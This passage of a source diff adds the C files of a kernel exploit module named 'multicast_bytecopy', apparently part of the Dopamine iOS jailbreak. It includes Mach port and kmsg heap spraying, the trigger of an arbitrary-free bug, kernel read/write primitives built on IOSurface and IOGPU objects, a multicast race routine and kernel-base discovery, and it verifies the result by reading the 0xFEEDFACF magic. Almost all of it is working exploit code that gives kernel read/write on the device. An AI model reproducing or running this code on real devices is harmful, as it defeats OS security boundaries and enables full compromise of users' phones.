0x3F64) = BYTECOPY_SECOND_TARGET; + + // spray large sprays to map KHEAP_DATA_MAPPABLE_LOC and KHEAP_DEFAULT_MAPPABLE_LOC + for (int i = 0; i < PORTS_COUNT; ++i) + { + // KHEAP_DEFAULT + *ool_ports = port_new(); + contained_ports[i] = *ool_ports; + mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports); + kheap_default_ports[i] = pp[0]; + free(pp); + + // KHEAP_DATA_BUFFERS + kheap_data_ports[i] = spray_data_kalloc_kmsg_single(kheap_data_spray_buf, KMSG_SIZE); + } + + notif_port = port_new(); + for (int i = 0; i < PORTS_COUNT; ++i) + { + mach_port_t prev; + mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev); + mach_port_deallocate(mach_task_self(), contained_ports[i]); + } + + // pre-init kernel rw + IOSurfaceClient_array_buf = malloc(0x4000); + kernel_rw_preinit(KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10, IOSurfaceClient_array_buf, 0x4000); + + free(contained_ports); + free(ool_ports); + free(kheap_data_spray_buf); + + return 0; +} + +int exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base) +{ + uint8_t msg_buf[0x100]; + int fildes[2]; + pipe(fildes); + int read_pipe = fildes[0]; + int write_pipe = fildes[1]; + + // alloc this one before array of IOSurfaceClients becomes 0x4000 + io_connect_t iosurface_connect_krw = IOSurfaceRoot_init(); + + // cause max size of arrays of IOSurfaceClients to become 0x4000 + uint32_t last_id = IOSurfaceRoot_cause_array_size_to_be_0x4000(); + + // trigger arbitrary free in kheap default + port_destroy(arb_free_holder); + + // do refill in kheap default + IOSurfaceRoot_lookup_surface(iosurface_connect_krw, last_id); + // NULL out array + IOSurfaceRoot_release_all(iosurface_connect_krw); + + // find allocation at KHEAP_DEFAULT_MAPPABLE_LOC + int kheap_default_idx = -1; + for (uint32_t i = 0; + (i < PORTS_COUNT) && port_has_msg(notif_port); + i++) + { + port_receive_msg(notif_port, msg_buf, sizeof(msg_buf)); + + port_destroy(kheap_default_ports[i]); + + kheap_default_idx = i; + } + + // Note: don't add time sensitive code here, allocation at KHEAP_DEFAULT_MAPPABLE_LOC + // has been free'd and will be refilled below + + // printf("Allocation at KHEAP_DEFAULT_MAPPABLE_LOC has been free'd\n"); + + if (kheap_default_idx >= PORTS_COUNT) + { + printf("kheap_default_idx >= PORTS_COUNT\n"); + exit(1); + } + + // extra frees + for (int i = 0; i < extra_frees_for_device; ++i) + { + port_destroy(kheap_default_ports[(kheap_default_idx+1)+i]); + } + + // do refill + iogpu_connect = IOGPU_init(); + // add entry + IOGPU_create_command_queue(iogpu_connect, KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10); + + printf("kheap_default_idx: %08X\n", kheap_default_idx); + + // refill in kheap data + port_destroy(kheap_data_ports[kheap_data_idx-1]); + write(write_pipe, IOSurfaceClient_array_buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); + + kernel_rw_init(iosurface_connect_krw, 1, read_pipe, write_pipe); + + kwrite32(KHEAP_DEFAULT_MAPPABLE_LOC, 0xFEED); + uint32_t result = kread32(KHEAP_DEFAULT_MAPPABLE_LOC); + printf("Test kwrite32 and kread32: %08X (should be 0000FEED)\n", result); + if (result != 0xFEED) + { + printf("Failed! Reboot to try again (remember to only run once per boot)\n"); + exit(1); + } + + printf("Get kernel base...\n"); + + *kernel_base = kernel_base_from_holder(kheap_data_ports[kheap_data_idx-2], KHEAP_DATA_MAPPABLE_LOC - 0x8000); + printf("Got kernel base: %p\n", (void *)*kernel_base); + + return 0; +} + +void exploitation_cleanup(void) +{ + uint64_t command_queue_loc = kread64(KHEAP_DEFAULT_MAPPABLE_LOC + 8); + uint64_t parent_loc = kread64(command_queue_loc + 0x488); + uint64_t namespace_loc = kread64(parent_loc + 0x88); + + // bump refs + kwrite32(command_queue_loc + 0x8, 10); + kwrite32(namespace_loc + 0x8, 10); + + IOServiceClose(iogpu_connect); +} + +int exploit_get_krw_and_kernel_base(uint64_t *kernel_base) +{ + uint64_t _kernel_base = 0; + + // generic exploitation init + if (exploitation_init() != 0) + { + return 1; + } + + // trigger bug, get arbitrary free + mach_port_t arb_free_holder = get_arb_free_holder(); + + // generic exploitation using arbitrary free + exploitation_get_krw_with_arb_free(arb_free_holder, &_kernel_base); + + *kernel_base = _kernel_base; + + return 0; +} + +int exploit_go(void) +{ + uint64_t kernel_base = 0; + + if (exploit_get_krw_and_kernel_base(&kernel_base) != 0) + { + printf("Exploit failed!\n"); + return 1; + } + + // test kernel r/w, read kernel base + uint32_t mh_magic = kread32(kernel_base); + if (mh_magic != 0xFEEDFACF) + { + printf("mh_magic != 0xFEEDFACF: %08X\n", mh_magic); + return 1; + } + + printf("kread32(_kernel_base) success: %08X\n", mh_magic); + + printf("Done\n"); + + return 0; +} diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/exploit.h b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/exploit.h new file mode 100644 index 0000000000..7e2ef02f24 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/exploit.h @@ -0,0 +1,9 @@ +#ifndef __EXPLOIT_H__ +#define __EXPLOIT_H__ + +#include + +void exploitation_cleanup(void); +int exploit_get_krw_and_kernel_base(uint64_t *kernel_base); + +#endif diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/iokit.h b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/iokit.h new file mode 100644 index 0000000000..6a0e15daa6 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/iokit.h @@ -0,0 +1,120 @@ +// Credits: Siguza +// https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h +#ifndef IOKIT_H +#define IOKIT_H + +#include +#include +#include + +typedef char io_name_t[128]; +typedef char io_string_t[512]; +typedef char io_struct_inband_t[4096]; +typedef mach_port_t io_object_t; +typedef io_object_t io_registry_entry_t; +typedef io_object_t io_service_t; +typedef io_object_t io_connect_t; +typedef io_object_t io_iterator_t; + +enum +{ + kIOCFSerializeToBinary = 0x00000001U, +}; + +enum +{ + kIOClassNameOverrideNone = 0x00000001U, +}; + +enum +{ + kIOMapAnywhere = 0x00000001U, +}; + +enum +{ + kIORegistryIterateRecursively = 0x00000001U, + kIORegistryIterateParents = 0x00000002U, +}; + +enum +{ + kOSSerializeDictionary = 0x01000000U, + kOSSerializeArray = 0x02000000U, + kOSSerializeSet = 0x03000000U, + kOSSerializeNumber = 0x04000000U, + kOSSerializeSymbol = 0x08000000U, + kOSSerializeString = 0x09000000U, + kOSSerializeData = 0x0a000000U, + kOSSerializeBoolean = 0x0b000000U, + kOSSerializeObject = 0x0c000000U, + + kOSSerializeTypeMask = 0x7F000000U, + kOSSerializeDataMask = 0x00FFFFFFU, + + kOSSerializeEndCollection = 0x80000000U, + + kOSSerializeMagic = 0x000000d3U, +}; + +extern const mach_port_t kIOMasterPortDefault; + +CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options); +CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err); + +kern_return_t IOObjectRetain(io_object_t object); +kern_return_t IOObjectRelease(io_object_t object); +boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name); +uint32_t IOObjectGetKernelRetainCount(io_object_t object); +kern_return_t IOObjectGetClass(io_object_t object, io_name_t name); +kern_return_t _IOObjectGetClass(io_object_t object, uint64_t options, io_name_t name); +CFStringRef IOObjectCopyClass(io_object_t object); +CFStringRef _IOObjectCopyClass(io_object_t object, uint64_t options); +CFStringRef IOObjectCopySuperclassForClass(CFStringRef name); +CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name); + +io_registry_entry_t IORegistryGetRootEntry(mach_port_t master); +io_registry_entry_t IORegistryEntryFromPath(mach_port_t master, const io_string_t path); +kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name); +kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID); +kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path); +kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size); +kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options); +CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options); +kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties); + +kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it); +kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it); +kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); +kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); +io_object_t IOIteratorNext(io_iterator_t it); +boolean_t IOIteratorIsValid(io_iterator_t it); +void IOIteratorReset(io_iterator_t it); + +CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; +CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED; +io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT); +kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it); +kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID); +kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID); +kern_return_t IOServiceGetBusyStateAndTime(io_service_t service, uint64_t *state, uint32_t *busyState, uint64_t *busyTime); +kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client); +kern_return_t IOServiceClose(io_connect_t client); +kern_return_t IOCloseConnection(io_connect_t client); +kern_return_t IOConnectAddRef(io_connect_t client); +kern_return_t IOConnectRelease(io_connect_t client); +kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service); +kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other); +kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref); +kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options); +kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr); +kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties); +kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); +kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); +kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); +kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); +kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); +kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); +kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f); + +#endif diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_base.c b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_base.c new file mode 100644 index 0000000000..5fe3165ee4 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_base.c @@ -0,0 +1,55 @@ +#include "kernel_base.h" + +#include "kernel_rw.h" +#include "port_utils.h" +#include "spray.h" +#include "xpaci.h" // ptrauth.h replacement + +#include +#include +#include +#include + +#pragma clang diagnostic ignored "-Wdeprecated-declarations" // syscall + +uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr) +{ + uint64_t kernel_base = 0; + const int receive_size = 0x10000; // Doesn't really matter + const int data_kalloc_size = 0x50; // Doesn't really matter + uint8_t *buf = calloc(1, receive_size); + mach_port_t fileport = MACH_PORT_NULL; + + // read out port pointer + uint64_t port_addr = kread64(holder_addr + 8); + + // init fileport + int sock = socket(AF_INET, SOCK_DGRAM, 0); + syscall(SYS_fileport_makeport, sock, &fileport); + + // send new message contaning port + port_receive_msg(holder, buf, receive_size); + spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(sizeof(void *), &fileport, data_kalloc_size, holder); + + // read kernel text pointer fops + uint64_t kmsg = kread64(port_addr + 0x30); + uint64_t ikm_header = xpaci(kread64(kmsg + 0x18)); + uint64_t oolp_array = kread64(ikm_header + 0x24); + uint64_t oolp = kread64(oolp_array); + uint64_t kobject = xpaci(kread64(oolp + 0x58)); + uint64_t fops = kread64(kobject + 0x28); + + // find kernel base + uint64_t pos = (fops & ~0x3FFF); + do + { + pos -= 0x4000; + } while (kread32(pos) != 0xFEEDFACF); + kernel_base = pos; + + // cleanup + close(sock); + port_deallocate_n(&fileport, 1); + + return kernel_base; +} diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_base.h b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_base.h new file mode 100644 index 0000000000..6f50847a29 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_base.h @@ -0,0 +1,9 @@ +#ifndef __KERNEL_BASE_H__ +#define __KERNEL_BASE_H__ + +#include +#include + +uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr); + +#endif diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_rw.c b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_rw.c new file mode 100644 index 0000000000..1f811e90fc --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_rw.c @@ -0,0 +1,75 @@ +#include "kernel_rw.h" + +#include "IOSurfaceRoot.h" + +static io_connect_t _uc; +static uint32_t _surf_id; +static int _read_pipe; +static int _write_pipe; +static uint64_t _mapped_address; + +void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n) +{ + memset(buf, 0x07, n); + + *(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface + *(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane + *(uint64_t *)(buf + 0x10 + 0xC0 + 0x18) = kaddr + 0x20 - 0xA0; // Write destination (+0xA0 added) + + _mapped_address = kaddr; +} + +int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe) +{ + _uc = uc; + _surf_id = surf_id; + _read_pipe = read_pipe; + _write_pipe = write_pipe; + + return 0; +} + +uint32_t kread32(uint64_t kaddr) +{ + uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY]; + + read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); + + *(uint64_t *)(buf+ 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface + *(uint64_t *)(buf+ 0x10 + 0xC0 ) = kaddr - 0x14; // Write destination (+0xA0 added) + + write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); + + return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id); +} + +uint64_t kread64(uint64_t kaddr) +{ + uint8_t b[8]; + + *(uint32_t *)b = kread32(kaddr); + *(uint32_t *)(b + 4) = kread32(kaddr + 4); + + return *(uint64_t *)b; +} + +void kwrite32(uint64_t kaddr, uint32_t val) +{ + uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY]; + + read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); + + *(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface + *(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane + *(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0xA0; // Write destination (+0xA0 added) + + write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); + + IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(_uc, _surf_id, val); +} + +void kwrite64(uint64_t kaddr, uint64_t val) +{ + kwrite32(kaddr, (uint32_t)val); + kwrite32(kaddr + 4, (uint32_t)(val >> 32)); +} diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_rw.h b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_rw.h new file mode 100644 index 0000000000..36da64ac5e --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/kernel_rw.h @@ -0,0 +1,18 @@ +#ifndef __KERNEL_RW_H__ +#define __KERNEL_RW_H__ + +#define KERNEL_RW_SIZE_FAKE_ARRAY 0x4000 + +#include "iokit.h" + +void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n); +int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe); + +uint32_t kread32(uint64_t kaddr); +uint64_t kread64(uint64_t kaddr); + +void kwrite32(uint64_t kaddr, uint32_t val); +void kwrite64(uint64_t kaddr, uint64_t val); + +#endif + diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/mcast.c b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/mcast.c new file mode 100644 index 0000000000..2357f09c74 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/mcast.c @@ -0,0 +1,55 @@ +#include "mcast.h" + +#include +#include +#include +#include + +int mcast_race_sock; + +int mcast_join_group(int ip) +{ + struct group_req mreq = { 0 }; + struct sockaddr_in6 sin6 = {0}; + + mreq.gr_interface = 1; + + sin6.sin6_len = sizeof(sin6); + sin6.sin6_family = AF_INET6; + sin6.sin6_port = 7878; + sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0; + sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0; + sin6.sin6_addr.__u6_addr.__u6_addr32[1] = ip; + sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000)); + + memcpy(&mreq.gr_group, &sin6, sizeof(sin6)); + + mreq.gr_interface = 1; + + return setsockopt(mcast_race_sock, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq)); +} + +void mcast_increase_race_reliability(void) +{ + struct group_req mreq = { 0 }; + struct sockaddr_in6 sin6 = {0}; + int s = socket(AF_INET6, SOCK_DGRAM, 0); + + mreq.gr_interface = 1; + + sin6.sin6_len = sizeof(sin6); + sin6.sin6_family = AF_INET6; + sin6.sin6_port = 7878; + sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0; + sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0; + sin6.sin6_addr.__u6_addr.__u6_addr32[1] = 0; + sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000)); + + memcpy(&mreq.gr_group, &sin6, sizeof(sin6)); + + for (int i = 0; i < 3000; ++i) + { + ((struct sockaddr_in6 *)(&mreq.gr_group))->sin6_addr.__u6_addr.__u6_addr32[1] = i + (3000 * 3000); + setsockopt(s, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq)); + } +} diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/mcast.h b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/mcast.h new file mode 100644 index 0000000000..b87e83709a --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/mcast.h @@ -0,0 +1,9 @@ +#ifndef __MCAST_H__ +#define __MCAST_H__ + +extern int mcast_race_sock; + +void mcast_increase_race_reliability(void); +int mcast_join_group(int ip); + +#endif diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/necp.c b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/necp.c new file mode 100644 index 0000000000..233b922ec3 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/necp.c @@ -0,0 +1,16 @@ +#include "necp.h" + +#include +#include + +#pragma clang diagnostic ignored "-Wdeprecated-declarations" + +int necp_open(int flags) +{ + return syscall(SYS_necp_open, flags); +} + +int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size) +{ + return syscall(SYS_necp_client_action, necp_fd, action, client_id, client_id_len, buffer, buffer_size); +} diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/necp.h b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/necp.h new file mode 100644 index 0000000000..b407756ba9 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/necp.h @@ -0,0 +1,10 @@ +#ifndef __NECP_H__ +#define __NECP_H__ + +#include +#include + +int necp_open(int flags); +int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size); + +#endif diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/port_utils.c b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/port_utils.c new file mode 100644 index 0000000000..570899a7b0 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/port_utils.c @@ -0,0 +1,116 @@ +#include "port_utils.h" + +#include +#include + +#pragma clang diagnostic ignored "-Wdeprecated-declarations" // mach_port_destroy + +mach_port_t port_new(void) +{ + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + mach_port_t port; + + mach_port_construct(mach_task_self(), &options, 0, &port); + + return port; +} + +void port_destroy(mach_port_t p) +{ + mach_port_destroy(mach_task_self(), p); +} + +void port_deallocate(mach_port_t p) +{ + mach_port_deallocate(mach_task_self(), p); +} + +void port_destroy_n(mach_port_t *p, unsigned int count) +{ + for (int i = 0; i < count; ++i) + { + mach_port_destroy(mach_task_self(), p[i]); + p[i] = 0; + } +} + +void port_deallocate_n(mach_port_t *p, unsigned int count) +{ + for (int i = 0; i < count; ++i) + { + mach_port_deallocate(mach_task_self(), p[i]); + } +} + +int port_has_msg(mach_port_t p) +{ + mach_msg_header_t msg = { 0 }; + + mach_msg(&msg, MACH_RCV_LARGE | MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, 0x10, p, 0, 0); + + return msg.msgh_size; +} + +int port_peek_trailer_size(mach_port_t p) +{ + mach_port_seqno_t msg_seqno = 0; + mach_msg_size_t msg_size = 0; + mach_msg_id_t msg_id = 0; + mach_msg_trailer_t msg_trailer; + mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer); + + mach_port_peek(mach_task_self(), + p, + MACH_RCV_TRAILER_NULL, + &msg_seqno, + &msg_size, + &msg_id, + (mach_msg_trailer_info_t)&msg_trailer, + &msg_trailer_size); + + return msg_trailer.msgh_trailer_size; +} + +void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n) +{ + mach_msg((mach_msg_header_t *)buf, + MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, + 0, + n, + p, + 0, + 0); +} + +void port_receive_msg_n(mach_port_t *p, unsigned int count) +{ + uint8_t buf[0x1000]; + + for (int i = 0; i < count; ++i) + { + port_receive_msg(p[i], buf, 8); + } +} + +void port_receive_msg_all_n(mach_port_t *p, unsigned int count) +{ + uint8_t buf[0x1000]; + + for (int i = 0; i < count; ++i) + { + do + { + port_receive_msg(p[i], buf, 8); + } while (port_has_msg(p[i])); + } +} + +void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count) +{ + port_receive_msg_n(p, count); + port_deallocate_n(p, count); + for (int i = 0; i < count; ++i) + { + p[i] = MACH_PORT_NULL; + } +} diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/port_utils.h b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/port_utils.h new file mode 100644 index 0000000000..0740779671 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/port_utils.h @@ -0,0 +1,22 @@ +#ifndef __PORT_UTILS_H__ +#define __PORT_UTILS_H__ + +#include + +mach_port_t port_new(void); + +void port_destroy(mach_port_t p); +void port_deallocate(mach_port_t p); + +void port_destroy_n(mach_port_t *p, unsigned int count); +void port_deallocate_n(mach_port_t *p, unsigned int count); + +int port_has_msg(mach_port_t p); +int port_peek_trailer_size(mach_port_t p); + +void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int size); +void port_receive_msg_n(mach_port_t *p, unsigned int count); + +void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count); + +#endif diff --git a/Application/Dopamine/Exploits/multicast_bytecopy/exploit/spray.c b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/spray.c new file mode 100644 index 0000000000..a4645621f1 --- /dev/null +++ b/Application/Dopamine/Exploits/multicast_bytecopy/exploit/spray.c @@ -0,0 +1,214 @@ +#include "spray.h" + +#include "necp.h" + +#include +#include + +mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count) +{ + mach_port_t *ports = calloc(sizeof(mach_port_t), count); + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + mach_msg_header_t *msg = (mach_msg_header_t *)data; + + memset(msg, 0, sizeof(mach_msg_header_t)); + msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->msgh_size = size; + + for (unsigned int i = 0; i < count; ++i) + { + mach_port_construct(mach_task_self(), &options, 0, &ports[i]); + } + + for (unsigned int i = 0; i < count; ++i) + { + msg->msgh_remote_port = ports[i]; + msg->msgh_id = i; + mach_msg_send(msg); + } + + return ports; +} + +mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size) +{ + mach_port_t port = MACH_PORT_NULL; + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + mach_msg_header_t *msg = (mach_msg_header_t *)data; + + memset(msg, 0, sizeof(mach_msg_header_t)); + msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->msgh_size = size; + + mach_port_construct(mach_task_self(), &options, 0, &port); + + msg->msgh_remote_port = port; + mach_msg_send(msg); + + return port; +} + +void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports) +{ + mach_msg_header_t *msg = (mach_msg_header_t *)data; + + memset(msg, 0, sizeof(mach_msg_header_t)); + msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->msgh_size = size; + //memcpy(msg + 1, data, size-sizeof(*msg)); + + for (unsigned int i = 0; i < count; ++i) + { + msg->msgh_remote_port = ports[i]; + msg->msgh_id = i; + mach_msg_send(msg); + } +} + + +mach_port_t *spray_data_kalloc_ool_descriptor(uint8_t *data, unsigned int size, unsigned int count) +{ + mach_port_t *ports = calloc(sizeof(mach_port_t), count); + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + mach_msg_header_t *msg = (mach_msg_header_t *)calloc(1, size); + + msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->msgh_size = size; + + for (unsigned int i = 0; i < count; ++i) + { + mach_port_construct(mach_task_self(), &options, 0, &ports[i]); + } + + for (unsigned int i = 0; i < count; ++i) + { + msg->msgh_remote_port = ports[i]; + mach_msg_send(msg); + } + + free(msg); + + return ports; +} + +mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports) +{ + return spray_default_kalloc_ool_ports_with_data_kalloc_size(size, count, ool_ports, 0x50); +} + +mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size) +{ + struct default_msg + { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_ool_ports_descriptor_t desc; + }; + + mach_port_t *ports = calloc(sizeof(mach_port_t), count); + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + struct default_msg *msg = (struct default_msg *)calloc(1, 0x100); + + msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + msg->hdr.msgh_size = data_kalloc_size; + msg->body.msgh_descriptor_count = 1; + + msg->desc.deallocate = 0; + msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + msg->desc.copy = MACH_MSG_VIRTUAL_COPY; + msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND; + msg->desc.count = size/8; + msg->desc.address = (void *)ool_ports; + + for (unsigned int i = 0; i < count; ++i) + { + mach_port_construct(mach_task_self(), &options, 0, &ports[i]); + } + 